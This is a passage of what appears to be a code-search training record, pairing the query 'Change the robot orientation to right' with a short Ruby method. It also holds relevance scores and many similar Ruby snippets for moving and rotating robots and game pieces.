"def move\n if $window.button_down?(Gosu::KbD)\n @facing = :right\n @x += speed unless out_of_bounds?(@x + speed, @y)\n end\n \n if $window.button_down?(Gosu::KbA)\n @facing = :left\n @x -= speed unless out_of_bounds?(@x - speed, @y)\n end\n \n if $window.button_down?(Gosu::KbW)\n @facing = :up\n @y -= speed unless out_of_bounds?(@x, @y - speed)\n end\n \n if $window.button_down?(Gosu::KbS)\n @facing = :down\n @y += speed unless out_of_bounds?(@x, @y + speed)\n end\n \n sprinting?\n end",
"def move\n case @direction\n when \"NORTH\" then move_north\n when \"SOUTH\" then move_south\n when \"EAST\" then move_east\n when \"WEST\" then move_west\n end\n end",
"def move\n case @rover_facing\n when 'N'\n @coordinates[1] += 1\n when 'E'\n @coordinates[0] += 1\n when 'S'\n @coordinates[1] -= 1\n when 'W'\n @coordinates[0] -= 1\n end\n end",
"def make_move(direction)\n\t\t\n\t\tif direction==1 #========= Move left\n\t\t\t(1..4).each{|i|\n\t\t\t\t(2..4).each{|j|\n\t\t\t\t\tmove_cell(i,j,direction)\n\t\t\t\t}\n\t\t\t}\n\t\telsif direction==2 #========= Move right\n\t\t\t(1..4).each{|i|\n\t\t\t\t3.downto(1).each{|j|\n\t\t\t\t\tmove_cell(i,j,direction)\n\t\t\t\t}\n\t\t\t}\n\t\telsif direction==3 #========= Move up\n\t\t\t(1..4).each{|j|\n\t\t\t\t(2..4).each{|i|\n\t\t\t\t\tmove_cell(i,j,direction)\n\t\t\t\t}\n\t\t\t}\n\t\telse #========= Move down\n\t\t\t(1..4).each{|j|\n\t\t\t\t3.downto(1){|i|\n\t\t\t\t\tmove_cell(i,j,direction)\n\t\t\t\t}\n\t\t\t}\n\t\tend\n\n\t\tadd_new_cell\n\t\t\n\tend",
"def update(x, y, face)\n # raise error for invalid arguments\n raise ArgumentError, 'Robot x position is invalid.' unless x.is_a?(Numeric)\n raise ArgumentError, 'Robot y position is invalid.' unless y.is_a?(Numeric)\n raise ArgumentError, 'The direction where the robot is facing is not provided.' if face.nil?\n \n if @table.validate(x, y)\n @x = x\n @y = y\n @face = Direction.toDirection(face)\n @placed = true\n end\n end",
"def setup_move\n return TSBS.error(@acts[0], 4, @used_sequence) if @acts.size < 5\n stop_all_movements\n goto(@acts[1], @acts[2], @acts[3], @acts[4], @acts[5] || 0)\n end",
"def position_for_next_harvest()\n turn_right()\n move()\n turn_right()\n end",
"def move row, col\n @row = row\n @col = col\n end",
"def move\n case @direction\n when \"N\"\n @y_coord += 1\n when \"S\"\n @y_coord -= 1\n when \"W\"\n @x_coord += 1\n when \"E\"\n @x_coord -= 1\n end\n end",
"def move\n @position.shift unless @growing\n case @direction\n when 'down'\n @position.push(new_coords(head[0], head[1] + 1))\n when 'up'\n @position.push(new_coords(head[0], head[1] - 1))\n when 'left'\n @position.push(new_coords(head[0] - 1, head[1]))\n when 'right'\n @position.push(new_coords(head[0] + 1, head[1]))\n end\n @growing = @turned = false\n end",
"def update\r\n\t\t#creo una clase juego con la matriz que ya cree\r\n\t\t@Juego=Juego.new(@a.tablero,@x1,@y1)\r\n\t\t@Juego.turno!\r\n\t\t@NoTurno += 1\r\n\t\tputs \"numero de turno: #{@NoTurno}\"\t\t\r\n\t\t\r\n\tend",
"def move_east\n # Each time we move_east we move the Robot 1 space to the left\n @east += 1\n end",
"def move\n # Choose a random cell\n # JAVI: Extend this part of the method to choose cell with lower number of surveys (on average)\n cell = cells_around(@loc).rand\n \n # possibly a good location\n # first look ahead \n if !touches_path? cell, @path, @loc \n \n # do 1 more look ahead for each further possible step to avoid this:\n #\n # . . . . .\n # v < < . .\n # v . ^ . .\n # v . ^ < .\n # v . x o .\n # v x ? x .\n # > > ^ . .\n # . . . . . \n #\n # ^v<> = path\n # o = start\n # ? = possible good looking next move\n # x = shows that this is a dead end. All further steps are not allowed.\n #\n # Therefore, if any further step from cell is possible, then we're good to go\n \n # Configure future\n future_path = @path.dup\n future_path << cell\n second_steps = cells_around(cell)\n \n # If at least one of the future steps is valid, go for it\n second_steps.each do |ss|\n if !touches_path? ss, future_path, cell\n @path << cell\n @loc = cell\n @distance -= 1 \n return true\n end\n end \n end \n \n Rails.logger.debug \"*****************\"\n Rails.logger.debug \"Location: #{@loc.to_s}, New move: #{cell.to_s}.\"\n Rails.logger.debug \"Path: #{@path.to_s}\" \n \n false \n #cells = Cell.all :conditions => \"(x = #{@x-1} AND y = #{@y}) OR (x = #{@x+1} AND y = #{@y}) OR (x = #{@x} AND y = #{@y-1}) OR (x = #{@x} AND y = #{@y+1})\",\n # :order => \"positive_count + negative_count ASC\"\n \n # if all the cells have already been surveyed, weight index to those with few surveys \n #if cells.size == 4\n # i = rand(3)\n # i = (i - (i * 0.1)).floor \n # @x = cells[i].x\n # @y = cells[i].y\n # return\n #end\n \n # if there are empty cells, make a new cell where there's a gap and use that \n #[@x, @y-1] *<-- ALWAYS GOING DOWN\n #existing_cells = cells.map {|c| [c.x, c.y]}\n #survey_cell = (possible_cells - existing_cells).rand\n end",
"def make_a_move(move, mat, y, x)\n if move == :up\n move_up(mat, y, x)\n elsif move == :down\n move_down(mat, y, x)\n elsif move == :right\n move_right(mat, y, x)\n else\n move_left(mat, y, x)\n end\nend",
"def move(direction, map)\n x = @x_location\n y = @y_location\n \n case direction\n when :north then y -= 1\n when :south then y += 1 \n when :west then x -= 1\n when :east then x += 1 \n end\n \n unless map[y][x].is_a_wall?\n @x_location = x\n @y_location = y\n end \n end",
"def move\n\t\t@x += 0\n\t\t@y += @vel\n\tend",
"def move\n move_by get_incremental_position_for_velocity if (any_velocity?)\n decrease_velocity\n @has_increased_velocity_for = {\n x: false,\n y: false\n }\n @velocity_deltatime.update\n end",
"def move\n move_by a, m\n end",
"def move\n # Do not continue if robot isn't placed\n return cancel_action(\"Robot isn't placed on the surface yet\") unless placed?\n\n # Calculate target position. Cancel processing the method if it's outside current surface\n target_position = current_placement.position.add(current_placement.direction.to_unit_vector)\n return cancel_action(\"Robot can't drive outside the surface\") unless surface.position_on_surface?(target_position)\n\n # Set the current placement, calculate movement vector and pass it ot the mobility system.\n self.target_placement = NavigationEntities::Placement.new(target_position, current_placement.direction)\n mobility_system.move_by(target_position - current_placement.position)\n\n # Current mobility system is just a placeholder, so it's always executed\n if mobility_system.standby\n # Update information about current location.\n # TODO: Refactor this part when a real mobility system will be plugged in\n update_placement(target_placement)\n end\n end"
] |
[
"0.764751",
"0.7535064",
"0.7361405",
"0.73400754",
"0.7291339",
"0.72098935",
"0.71584964",
"0.7081699",
"0.69641864",
"0.69641644",
"0.6940378",
"0.6928104",
"0.6926129",
"0.6911971",
"0.68632704",
"0.6828963",
"0.6812738",
"0.6811055",
"0.67697424",
"0.6742795",
"0.6724101",
"0.67142856",
"0.6714061",
"0.6641892",
"0.66395146",
"0.6602048",
"0.65712196",
"0.6566212",
"0.65656805",
"0.6561747",
"0.6556974",
"0.65318274",
"0.65121764",
"0.64995533",
"0.64995533",
"0.6493902",
"0.64881724",
"0.6478414",
"0.6426058",
"0.6416211",
"0.64092594",
"0.63775134",
"0.6330928",
"0.62572324",
"0.6249331",
"0.62431663",
"0.62399274",
"0.62238145",
"0.62151915",
"0.6187046",
"0.6160732",
"0.61465025",
"0.61246586",
"0.61246586",
"0.61159915",
"0.6088823",
"0.6088629",
"0.6086948",
"0.60809076",
"0.607302",
"0.6067121",
"0.60657805",
"0.60646427",
"0.6062829",
"0.60612905",
"0.6060003",
"0.6043848",
"0.59963995",
"0.596579",
"0.5963343",
"0.59620714",
"0.5960043",
"0.59559405",
"0.5955573",
"0.59424114",
"0.5938411",
"0.5904573",
"0.59026414",
"0.59022975",
"0.5882654",
"0.5866976",
"0.58586055",
"0.5854116",
"0.5847368",
"0.58391666",
"0.5819466",
"0.5817503",
"0.5815243",
"0.58009917",
"0.5798652",
"0.5796089",
"0.5794128",
"0.5784089",
"0.5780103",
"0.5779865",
"0.57772917",
"0.57746094",
"0.57661164",
"0.57520694",
"0.5750019"
] |
0.73887944
|
2
|
Change the robot orientation to left
|
def left
check_placement
super
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def turn_left\n case @current_orientation\n when NORTH\n @current_orientation = WEST\n when SOUTH\n @current_orientation = EAST\n when EAST\n @current_orientation = NORTH\n when WEST\n @current_orientation = SOUTH\n else\n raise RuntimeError, \"Current Orientation is invalid - #{get_orientation}\"\n end\n end",
"def turn_left\n @orientation == -4 ? @orientation = -1 : @orientation -= 1\n end",
"def rotate_left\n placed?\n @direction = case @direction\n when \"NORTH\" then \"WEST\"\n when \"EAST\" then \"NORTH\"\n when \"SOUTH\" then \"EAST\"\n when \"WEST\" then \"SOUTH\"\n end\n end",
"def turn_left\n @orientation = CompassPoints::LEFT_TURNS[@orientation] if placed?\n end",
"def rotate_left\n @facing_direction = Direction[@facing_direction.degrees + Direction::LEFT]\n self\n end",
"def turnLeft\n case @currentDir\n when :north\n @currentDir = :west\n when :south\n @currentDir = :east\n when :east\n @currentDir = :north\n when :west\n @currentDir = :south\n end\n end",
"def left!\n # TODO: Refactor. Can be less explicit\n case @facing\n when Direction::NORTH\n @facing = Direction::WEST\n when Direction::EAST\n @facing = Direction::NORTH\n when Direction::SOUTH\n @facing = Direction::EAST\n when Direction::WEST\n @facing = Direction::SOUTH\n else\n raise %q{Cannot rotate left}\n end\n end",
"def left\r\n @angle -= ROTATION_ANGLE\r\n end",
"def turn_left\n if @@compass.index(@direction) == 0\n @direction = @@compass[-1]\n else\n current_index = @@compass.index(@direction)\n @direction = @@compass[current_index - 1]\n end\n end",
"def turn_left\n case @direction\n when :up\n @direction = :left\n when :right\n @direction = :up\n when :down\n @direction = :right\n when :left\n @direction = :down\n end\n end",
"def test_turn_left\n\t\trobot = Robot.new(0,0,'E')\n\t\trobot.turn('L')\n\t\tassert_equal(0,robot.orientation)\n\tend",
"def turn_right\n @orientation == 3 ? @orientation = 0 : @orientation += 1\n end",
"def interpret_left(command)\n ensure_placed\n @robot.rotate_left\n end",
"def turn_right\n case @current_orientation\n when NORTH\n @current_orientation = EAST\n when SOUTH\n @current_orientation = WEST\n when EAST\n @current_orientation = SOUTH\n when WEST\n @current_orientation = NORTH\n else\n raise RuntimeError, \"Current Orientation is invalid - #{get_orientation}\"\n end\n end",
"def rotate_left\n @facing =\n @cardinals[@cardinals.index(@facing) - 1]\n self\n end",
"def rotate_left\n return false unless on_the_table?\n self.facing = facing.rotate_left\n true\n end",
"def turn_left(angle)\n @angle = @angle + angle*Math::PI / 180\n end",
"def set_landscape\n @orientation = 0\n end",
"def left\n return cancel_action(\"Robot isn't placed on the surface yet\") unless placed?\n\n target_direction = current_placement.direction.rotate_counterclockwise\n rotate(target_direction)\n end",
"def left\n direction.move_left!\n end",
"def rotate_left\n return false if @direction.nil?\n\n index = Constant::DIRECTIONS.index(@direction)\n @direction = Constant::DIRECTIONS.rotate(-1)[index]\n true\n end",
"def turn_left\n\t\tif @direction == \"N\"\n\t\t\t@direction = \"W\"\n\t\telsif @direction == \"W\"\n\t\t\t@direction = \"S\"\n\t\telsif @direction == \"S\"\n\t\t\t@direction = \"E\"\n\t\telsif @direction == \"E\"\n\t\t\t@direction = \"N\"\n\t\tend\n\tend",
"def rotate_left\n return false if @direction.nil?\n\n index = DIRECTIONS.index(@direction)\n @direction = DIRECTIONS.rotate(-1)[index]\n true\n end",
"def turn_left\n @direction = DIRECTIONS[DIRECTIONS.index(@direction) - 1]\n end",
"def rotateLeft()\n fourTypeRotate(Tetromino::CLOCKWISE)\n end",
"def turn_left\n case @direction\n when \"n\"\n then \"w\"\n when \"w\"\n then \"s\"\n when \"s\"\n then \"e\"\n when \"e\"\n then \"n\"\n end\n end",
"def turn_right\n @orientation = CompassPoints::RIGHT_TURNS[@orientation] if placed?\n end",
"def rotate direction\n # Check if the toy robot has been placed on the table yet\n return unless placed?\n\n # Calculate new direction by finding out the next or previous item on the const array DIRECTIONS\n curr_index = DIRECTIONS.find_index(@direction)\n \n # If the result would be out of bounds, wrap around.. \n\n\n if (direction == 1 and curr_index == 3)\n # if direction = right and the robot's direction is :west\n # we wrap around the array, so new direction = :north\n\n new_index = 0 \n elsif direction == -1 and curr_index == 0\n # if direction = left and the robot's direction is :north\n # we wrap around the array, so new direction = :west\n\n new_index = 3 \n else\n # Calculate new index based on index of the robot's position on the DIRECTIONS array \n # and the direction the robot is turning\n new_index = curr_index + direction\n end\n\n @direction = DIRECTIONS[new_index]\n end",
"def turn_left\n case @heading\n when 'W' then @heading = 'S'\n when 'E' then @heading = 'N'\n when 'N' then @heading = 'W'\n when 'S' then @heading = 'E'\n end\n end",
"def left(robot, robot_positions)\n move_horizontally(robot, robot_positions, :left)\n end",
"def rotateLeft()\n twoTypeRotate()\n end",
"def turn_left\n index = DIRECTIONS.index(@facing)-1\n @facing = DIRECTIONS[index]\n end",
"def setRightToLeft(value)\n @fields['right_to_left'] = value\n self\n end",
"def setRightToLeft(value)\n @fields['right_to_left'] = value\n self\n end",
"def rotate(command = \"LEFT\")\r\n self.direction = case direction\r\n when DIRECTIONS[:north]\r\n command == \"LEFT\" ? DIRECTIONS[:west] : DIRECTIONS[:east]\r\n when DIRECTIONS[:south]\r\n command == \"LEFT\" ? DIRECTIONS[:east] : DIRECTIONS[:west]\r\n when DIRECTIONS[:east]\r\n command == \"LEFT\" ? DIRECTIONS[:north] : DIRECTIONS[:south]\r\n when DIRECTIONS[:west]\r\n command == \"LEFT\" ? DIRECTIONS[:south] : DIRECTIONS[:north]\r\n end\r\n return direction\r\n end",
"def right!\n # TODO: Refactor. Can be less explicit\n case @facing\n when Direction::NORTH\n @facing = Direction::EAST\n when Direction::EAST\n @facing = Direction::SOUTH\n when Direction::SOUTH\n @facing = Direction::WEST\n when Direction::WEST\n @facing = Direction::NORTH\n else\n raise %q{Cannot rotate right}\n end\n end",
"def turnRight\n case @currentDir\n when :north\n @currentDir = :east\n when :south\n @currentDir = :west\n when :east\n @currentDir = :south\n when :west\n @currentDir = :north\n end\n end",
"def rotate_right\n placed?\n @direction = case @direction\n when \"NORTH\" then \"EAST\"\n when \"EAST\" then \"SOUTH\"\n when \"SOUTH\" then \"WEST\"\n when \"WEST\" then \"NORTH\"\n end\n end",
"def test_turn_right\n\t\trobot = Robot.new(0,0,'N')\n\t\trobot.turn('R')\n\t\tassert_equal(1,robot.orientation)\n\tend",
"def rotate(command)\n turn = directions[@rover_facing]\n @rover_facing = command == 'L' ? turn.first : turn.last\n end",
"def turn_left\n @shape.body.t -= 300.0\n end",
"def turnleft(degrees: 90)\n send_command 0x73, ((degrees %360) / 5) & 0xFF, 10\n sleep 0.5\n end",
"def rotate(left_or_right)\n facing = [\"N\",\"E\",\"S\",\"W\"]\nif left_or_right == \"L\"\n final = facing[facing.index(@direction)-1]\n @direction = final\nelsif left_or_right == \"R\"\n final = facing[(facing.index(@direction)+1) % facing.length]\n @direction = final\n else\n puts \"error\"\n end\nend",
"def mirror_angle_horizontally!\n @angle = (-@angle) % 360\n end",
"def rotate(direction)\n #possible states\n orientations = [\"N\",\"E\",\"S\",\"W\"]\n currentOrientation = orientations.index(@name)\n case direction\n when \"l\"\n newOrientation = (currentOrientation - 1)%4\n set(orientations[newOrientation])\n when \"r\"\n newOrientation = (currentOrientation + 1)%4\n set(orientations[newOrientation])\n else\n # TODO: Exception\n end\n\n end",
"def rotate(direction)\n if !self.on_table # No rotation is possible if the robot has not been placed\n return false\n end\n\n new_orientation = 0\n\n # Turning right or left means a 90 degres rotation\n # Left is a negative rotation\n # Right is a positive rotation\n case direction\n when \"left\"\n new_orientation = self.orientation - 90 \n\n # The rotation is looping in the interval [0 270] with a step of 90 \n if new_orientation < 0\n new_orientation = 270 \n end\n\n when \"right\"\n new_orientation = self.orientation + 90\n\n # The rotation is looping in the interval [0 270] with a step of 90 \n if new_orientation > 270\n new_orientation = 0\n end\n\n else\n return false # If the direction was neither right or left, return false\n end\n\n self.orientation = new_orientation\n end",
"def turn_left\n turn(:left)\n end",
"def left\n check_placed\n @facing = next_facing(-1)\n end",
"def turn_right\n if @@compass.index(@direction) == @@compass.length - 1\n @direction = @@compass[0]\n else\n current_index = @@compass.index(@direction)\n @direction = @@compass[current_index + 1]\n end\n end",
"def move_left\n\t\tmove([-1,0])\n\tend",
"def turn_right\n @angle += ROTATION_SPEED\n end",
"def left(degrees)\n turn(degrees)\n end",
"def move_left(environment)\n @previous_action = 'moved left'\n location[:x] -= 1 if can_move_right?(environment)\n\n environment.state\n end",
"def orientation=(value)\n if value\n if value == :landscape\n value = :landscape_left\n elsif !value.is_a?(Symbol)\n value = ORIENTATIONS[value] || :unknown\n end\n end\n @custom_orientation = value\n end",
"def rotate_left\n root = @right\n @right = root.left\n root.left = self\n root.left.update_height\n root\n end",
"def veer cmd\n\t\t@car.orientation = case cmd\n\t\t\t\t\t\t\twhen 'L' then @car.orientation-1<0 ? 3 : @car.orientation-1\n\t\t\t\t\t\t\twhen 'R' then (@car.orientation+1)%4\t\t\t\n\t\t\t\t\t\t\tend\n\tend",
"def right\r\n @angle += ROTATION_ANGLE\r\n end",
"def left(robot)\n extend Placed\n\n return robot unless placed? robot\n robot.f = Navigation::ALL[\n Navigation::ALL.index(robot.f) - 1\n ]\n robot\n end",
"def right position\n # if currently facing north\n if position[2] == \"north\"\n # right will make it face east\n position[2] = \"east\"\n # if currently facing south\n elsif position[2] == \"south\"\n # right will make it face west\n position[2] = \"west\"\n # if currently facing east\n elsif position[2] == \"east\"\n # right will make it face south\n position[2] = \"south\"\n # if currently facing west\n elsif position[2] == \"west\"\n # right will make it face north\n position[2] = \"north\"\n end\n position\nend",
"def rotate_right\n return false unless on_the_table?\n self.facing = facing.rotate_right\n true\n end",
"def rotate_left!\n @picture.rotate_left!\n end",
"def rotate_right\n @facing_direction = Direction[@facing_direction.degrees + Direction::RIGHT]\n self\n end",
"def robot_left\n state_execute do |robot|\n robot.left\n end\n end",
"def move_forward\n case @orientation\n when :north\n @position.y_coordinate += 1\n when :east\n @position.x_coordinate += 1\n when :south\n @position.y_coordinate -= 1\n when :west\n @position.x_coordinate -= 1\n end\n end",
"def turn_right\n case @heading\n when 'S' then @heading = 'W'\n when 'W' then @heading = 'N'\n when 'N' then @heading = 'E'\n when 'E' then @heading = 'S'\n end\n end",
"def change_direction\n @move_x = -@move_x\n @speed = -@speed\n end",
"def set_portrait\n @orientation = 1\n end",
"def interpret_right(command)\n ensure_placed\n @robot.rotate_right\n end",
"def turn_left\n index = DIRECTIONS.index(direction) - 1\n index = DIRECTIONS.length-1 if index < 0\n change_direction(DIRECTIONS[index])\n end",
"def turn_left\n index = DIRECTIONS.index(direction) - 1\n index = DIRECTIONS.length-1 if index < 0\n change_direction(DIRECTIONS[index])\n end",
"def move \n self.send(@orientation.current.to_sym)\n end",
"def turn_right\n\t\tif @direction == \"N\"\n\t\t\t@direction = \"E\"\n\t\telsif @direction == \"E\"\n\t\t\t@direction = \"S\"\n\t\telsif @direction == \"S\"\n\t\t\t@direction = \"W\"\n\t\telsif @direction == \"W\"\n\t\t\t@direction = \"N\"\n\t\tend\n\tend",
"def move_left\n\t\t@x_speed -= @speed_inc_step\n\t\tif @x_speed < -@max_speed\n\t\t\t@x_speed = -@max_speed\n\t\tend\n\n\t\tupdate_x(@x_speed)\n\n\t\tif !face_left?\n\t\t\tupdate_angle(calculate_angle(180))\n\t\tend\n\n\t\t@has_moved = @player_moved = true\n\tend",
"def move\n case @current_rotation\n when ToyEnums::NORTH\n @position_y +=1\n when ToyEnums::SOUTH\n @position_y -=1\n when ToyEnums::EAST\n @position_x +=1\n when ToyEnums::WEST\n @position_x -=1\n else\n\n end\n end",
"def rotate_robot(command, unit)\n if /#{RIGHT}/.match?(command)\n case unit\n when 1\n $current_direction += 1\n when 2\n $current_direction += 2\n when 3\n $current_direction += 3\n else\n $current_direction += 0\n end\n elsif /#{LEFT}/.match?(command)\n case unit\n when 1\n $current_direction += 3\n when 2\n $current_direction += 2\n when 3\n $current_direction += 1\n else\n $current_direction += 0\n end\n end\n $current_direction %= 4\nend",
"def turn_left\n difference = 270 - heading\n difference < 10 ? turn(difference) : turn(10)\n end",
"def rotate_left(node)\n puts \"left rotation on node #{node}\"\n v = node.right\n v.parent = node.parent\n node.right = v.left\n\n node.right.parent=node unless node.right.nil?\n\n v.left = node\n node.parent = v\n\n unless v.parent.nil?\n v.parent.right = v if v.parent.right==node\n v.parent.left = v if v.parent.left==node\n end\n\n update_balance(node)\n update_balance(v)\n v\n end",
"def right\n return cancel_action(\"Robot isn't placed on the surface yet\") unless placed?\n\n target_direction = current_placement.direction.rotate_clockwise\n rotate(target_direction)\n end",
"def rotate(direction)\n\t\tnew_vector = (@robot.vectors[@robot_direction] + TURNING[direction]) % @robot.vectors.length\n\t\t@robot_direction = @robot.vectors.key(new_vector)\n\t\tputs \"Roger, roger. I\\'ve turned to the #{direction}! I\\'m now facing #{@robot_direction}\"\n\tend",
"def right\n rotate(1)\n end",
"def turnright(degrees: 90)\n send_command 0x74, ((degrees %360) / 5) & 0xFF, 10\n sleep 0.5\n end",
"def rotate(direction)\n return unless was_executed_valid_place_command?\n\n orientation_keys = orientation.keys\n orientation_index = orientation_keys.index(@current_orientation) + direction\n @current_orientation = orientation_keys[orientation_index].nil? ? orientation_keys[0] : orientation_keys[orientation_index]\n @table.board[@current_position_x][@current_position_y] = abbreviate(@current_orientation)\n\n print_board\n end",
"def left\n @robot.left\n end",
"def rotate!( *args )\n super( *args )\n reset_positions_inside\n end",
"def turn_right(angle)\n @angle = @angle -angle*Math::PI / 180\n end",
"def turnLeft\n if @placed\n @face = @face.turnLeft\n end\n end",
"def rotate(forward, upward)\n FMOD.type?(forward, Vector) unless forward.nil?\n FMOD.type?(upward, Vector) unless upward.nil?\n FMOD.invoke(:Geometry_SetRotation, self, forward, upward)\n end",
"def rotate_left\n\t\t\troot = @right\n\t\t\troot = root.with_left(with_right(root.left))\n\t\t\troot.with_left(root.left.with_color(root.color)).with_color(root.left.color)\n\t\tend",
"def left_rotate( node=@tree )\n node.left = node.right\n node.right = node.right.right\n node.left.right = nil\n node.value, node.left.value = node.left.value, node.value\n end",
"def turn(direction)\n\t\tcase direction.upcase\n\t\twhen 'R'\n\t\t\t@orientation = (@orientation + 1) % 4\n\t\twhen 'L'\n\t\t\t@orientation = (@orientation - 1) % 4\n\t\tend\n\tend",
"def right(degrees)\n must_be_number(degrees, 'turn')\n self.heading = heading + degrees.to_f\n end",
"def rotate(direction)\n case @toy_direction\n when \"NORTH\"\n @toy_direction = (direction == 'RIGHT')? 'EAST' : 'WEST'\n when \"EAST\"\n @toy_direction = (direction == 'RIGHT')? 'SOUTH' : 'NORTH'\n when \"SOUTH\"\n @toy_direction = (direction == 'RIGHT')? 'WEST' : 'EAST'\n when \"WEST\"\n @toy_direction = (direction == 'RIGHT')? 'NORTH' : 'SOUTH'\n end\n end",
"def rotate_left(source, target = source)\n command_exec(:rotate_left, [quote(source), quote(target)])\n end",
"def left_turn\n if @direction == \"N\"\n @direction = \"E\"\n elsif @direction ==\"E\"\n @direction = \"S\"\n elsif @direction == \"S\"\n @direction = \"W\"\n elsif @direction == \"W\"\n @direction = \"N\"\n else\n puts \"oops try again!\"\n end\n end",
"def left(args) \n return if !@is_robot_availabe\n #find its left elem\n @direction = DIRECTIONS[DIRECTIONS.index(@direction) - 1]\n # return \"LEFT\" #for test\n end",
"def right(degrees)\n raise ArgumentError unless degrees.is_a?(Numeric)\n @heading += degrees\n @heading %= 360\n end",
"def test_rotate\n assert_equal :portrait, @driver.orientation\n\n @@core.wait do\n @driver.rotation = :landscape\n assert_equal :landscape, @driver.orientation\n end\n\n @@core.wait do\n @driver.rotation = :portrait\n assert_equal :portrait, @driver.orientation\n end\n end",
"def rotate_left(node)\n y = node.right\n node.right = y.left\n\n y.left.parent = node if y.left.parent != @sentinel\n y.parent = node.parent\n if node.parent == @sentinel\n node.parent.left = y\n else\n node.parent.right = y\n end\n\n y.left = node\n node.parent = y\n end",
"def right\n direction.move_right!\n end",
"def turn_robot_left details\r\n\tif(details.f == 1)\r\n\t\tdetails.f = 4\r\n\telse\r\n\t\tdetails.f -= 1\r\n\tend\r\n\tdetails\r\nend",
"def orient\n with_command \"-auto-orient\"\n end"
] |
[
"0.7841995",
"0.7748834",
"0.7416586",
"0.73719764",
"0.73568475",
"0.7235052",
"0.7234698",
"0.7129432",
"0.7128901",
"0.702351",
"0.69879735",
"0.6901461",
"0.68688893",
"0.6852996",
"0.68012816",
"0.6791054",
"0.67578155",
"0.67278564",
"0.66836727",
"0.6664468",
"0.66569877",
"0.6655907",
"0.6589157",
"0.65883553",
"0.6586159",
"0.6523492",
"0.6504781",
"0.64885384",
"0.6450973",
"0.6445639",
"0.64366746",
"0.64121324",
"0.6408307",
"0.6408307",
"0.64006335",
"0.63969034",
"0.6384434",
"0.6350077",
"0.6331091",
"0.6324728",
"0.6309264",
"0.63067365",
"0.62919825",
"0.6291919",
"0.6291515",
"0.62693584",
"0.62692046",
"0.62509066",
"0.6247131",
"0.62347376",
"0.62252027",
"0.62244",
"0.6181241",
"0.61746466",
"0.6172655",
"0.6151464",
"0.61503345",
"0.6132341",
"0.61316764",
"0.6116515",
"0.60916466",
"0.6091461",
"0.60863036",
"0.6083016",
"0.60783285",
"0.6077335",
"0.60771865",
"0.60490686",
"0.60391164",
"0.60391164",
"0.603254",
"0.60086197",
"0.6001077",
"0.5994567",
"0.5994052",
"0.59911704",
"0.59775525",
"0.5974948",
"0.59706485",
"0.5965599",
"0.595329",
"0.59444714",
"0.5942788",
"0.5929949",
"0.59269303",
"0.5913738",
"0.5898986",
"0.5898707",
"0.58927464",
"0.5890393",
"0.5881787",
"0.5875892",
"0.58732575",
"0.5869272",
"0.58655995",
"0.5857493",
"0.58529294",
"0.58517087",
"0.5839416",
"0.5828429",
"0.580343"
] |
0.0
|
-1
|
Change the robot orientation to right
|
def right
check_placement
super
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def turn_right\n case @current_orientation\n when NORTH\n @current_orientation = EAST\n when SOUTH\n @current_orientation = WEST\n when EAST\n @current_orientation = SOUTH\n when WEST\n @current_orientation = NORTH\n else\n raise RuntimeError, \"Current Orientation is invalid - #{get_orientation}\"\n end\n end",
"def turn_right\n @orientation == 3 ? @orientation = 0 : @orientation += 1\n end",
"def turn_right\n @orientation = CompassPoints::RIGHT_TURNS[@orientation] if placed?\n end",
"def turnRight\n case @currentDir\n when :north\n @currentDir = :east\n when :south\n @currentDir = :west\n when :east\n @currentDir = :south\n when :west\n @currentDir = :north\n end\n end",
"def turn_right\n @angle += ROTATION_SPEED\n end",
"def rotate_right\n @facing_direction = Direction[@facing_direction.degrees + Direction::RIGHT]\n self\n end",
"def rotate_right\n placed?\n @direction = case @direction\n when \"NORTH\" then \"EAST\"\n when \"EAST\" then \"SOUTH\"\n when \"SOUTH\" then \"WEST\"\n when \"WEST\" then \"NORTH\"\n end\n end",
"def test_turn_right\n\t\trobot = Robot.new(0,0,'N')\n\t\trobot.turn('R')\n\t\tassert_equal(1,robot.orientation)\n\tend",
"def turn_right\n if @@compass.index(@direction) == @@compass.length - 1\n @direction = @@compass[0]\n else\n current_index = @@compass.index(@direction)\n @direction = @@compass[current_index + 1]\n end\n end",
"def right!\n # TODO: Refactor. Can be less explicit\n case @facing\n when Direction::NORTH\n @facing = Direction::EAST\n when Direction::EAST\n @facing = Direction::SOUTH\n when Direction::SOUTH\n @facing = Direction::WEST\n when Direction::WEST\n @facing = Direction::NORTH\n else\n raise %q{Cannot rotate right}\n end\n end",
"def right\r\n @angle += ROTATION_ANGLE\r\n end",
"def turn_right(angle)\n @angle = @angle -angle*Math::PI / 180\n end",
"def rotate direction\n # Check if the toy robot has been placed on the table yet\n return unless placed?\n\n # Calculate new direction by finding out the next or previous item on the const array DIRECTIONS\n curr_index = DIRECTIONS.find_index(@direction)\n \n # If the result would be out of bounds, wrap around.. \n\n\n if (direction == 1 and curr_index == 3)\n # if direction = right and the robot's direction is :west\n # we wrap around the array, so new direction = :north\n\n new_index = 0 \n elsif direction == -1 and curr_index == 0\n # if direction = left and the robot's direction is :north\n # we wrap around the array, so new direction = :west\n\n new_index = 3 \n else\n # Calculate new index based on index of the robot's position on the DIRECTIONS array \n # and the direction the robot is turning\n new_index = curr_index + direction\n end\n\n @direction = DIRECTIONS[new_index]\n end",
"def interpret_right(command)\n ensure_placed\n @robot.rotate_right\n end",
"def turn_right\n\t\tif @direction == \"N\"\n\t\t\t@direction = \"E\"\n\t\telsif @direction == \"E\"\n\t\t\t@direction = \"S\"\n\t\telsif @direction == \"S\"\n\t\t\t@direction = \"W\"\n\t\telsif @direction == \"W\"\n\t\t\t@direction = \"N\"\n\t\tend\n\tend",
"def right\n return cancel_action(\"Robot isn't placed on the surface yet\") unless placed?\n\n target_direction = current_placement.direction.rotate_clockwise\n rotate(target_direction)\n end",
"def rotate_right\n return false unless on_the_table?\n self.facing = facing.rotate_right\n true\n end",
"def turn_right\n case @direction\n when \"n\"\n then \"e\"\n when \"e\"\n then \"s\"\n when \"s\"\n then \"w\"\n when \"w\"\n then \"n\"\n end\n end",
"def right\n direction.move_right!\n end",
"def rotate_right\n @facing =\n @cardinals_rev[@cardinals_rev.index(@facing) - 1]\n self\n end",
"def turn_right\n index = DIRECTIONS.index(@facing)+1\n @facing = DIRECTIONS[index] || DIRECTIONS[0]\n end",
"def rotate_right\n return false if @direction.nil?\n\n index = Constant::DIRECTIONS.index(@direction)\n @direction = Constant::DIRECTIONS.rotate[index]\n true\n end",
